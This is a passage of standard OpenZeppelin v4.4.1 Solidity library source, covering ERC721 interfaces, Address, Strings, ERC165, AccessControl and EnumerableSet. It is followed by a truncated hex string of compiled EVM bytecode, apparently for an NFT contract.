external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol";
0x608060405234801561001057600080fd5b50600436106102b45760003560e01c80636c0360eb11610171578063b88d4fde116100d3578063d7224ba011610097578063e985e9c511610071578063e985e9c514610646578063f1545cf314610682578063f2fde38b1461069557600080fd5b8063d7224ba014610617578063dc33e68114610620578063dc95c4a71461063357600080fd5b8063b88d4fde146105a4578063c87b56dd146105b7578063ca15c873146105ca578063d5391393146105dd578063d547741f1461060457600080fd5b80639010d07c1161013557806395d89b411161010f57806395d89b4114610581578063a217fddf14610589578063a22cb4651461059157600080fd5b80639010d07c146104f457806391d14854146105075780639231ab2a1461054057600080fd5b80636c0360eb146104b857806370a08231146104c0578063715018a6146104d35780638456cb59146104db5780638da5cb5b146104e357600080fd5b80632d20fb601161021a5780633f4ba83a116101de57806355f804b3116101b857806355f804b3146104875780635c975abb1461049a5780636352211e146104a557600080fd5b80633f4ba83a1461045957806342842e0e146104615780634f6ccce71461047457600080fd5b80632d20fb60146103f85780632f2ff15d1461040b5780632f745c591461041e57806332cb6b0c1461043157806336568abe1461044657600080fd5b806318160ddd1161027c578063248a9ca311610256578063248a9ca31461039057806328a7ccc6146103b35780632a55205a146103c657600080fd5b806318160ddd146103585780631bc099251461036a57806323b872dd1461037d57600080fd5b806301ffc9a7146102b957806306fdde03146102e1578063081812fc146102f6578063095ea7b314610321578063099c008e14610336575b600080fd5b6102cc6102c7366004612bb4565b6106a8565b60405190151581526020015b60405180910390f35b6102e96106d3565b6040516102d89190612c29565b610309610304366004612c3c565b610765565b6040516001600160a01b0390911681526020016102d8565b61033461032f366004612c71565b6107f5565b005b600c54600160b01b900461ffff165b60405161ffff90911681526020016102d8565b6000545b6040519081526020016102d8565b610334610378366004612c9b565b61090d565b61033461038b366004612cd7565b610a53565b61035c61039e366004612c3c565b60009081526008602052604090206001015490565b6103346103c1366004612d13565b610a5e565b6103d96103d4366004612d38565b610b33565b604080516001600160a01b0390931683526020830191909152016102d8565b610334610406366004612c3c565b610b88565b610334610419366004612d5a565b610bfe565b61035c61042c366004612c71565b610c24565b600c5461034590600160a01b900461ffff1681565b610334610454366004612d5a565b610da1565b610334610e2d565b61033461046f366004612cd7565b610e44565b61035c610482366004612c3c565b610e5f565b610334610495366004612e09565b610ec1565b600a5460ff166102cc565b6103096104b3366004612c3c565b610ee0565b6102e9610ef2565b61035c6104ce366004612e52565b610f01565b610334610f92565b610334610ff8565b600c546001600160a01b0316610309565b610309610502366004612d38565b61100c565b6102cc610515366004612d5a565b60009182526008602090815260408084206001600160a01b0393909316845291905290205460ff1690565b61055361054e366004612c3c565b61102b565b6040805182516001600160a01b0316815260209283015167ffffffffffffffff1692810192909252016102d8565b6102e9611048565b61035c600081565b61033461059f366004612e6d565b611057565b6103346105b2366004612ea956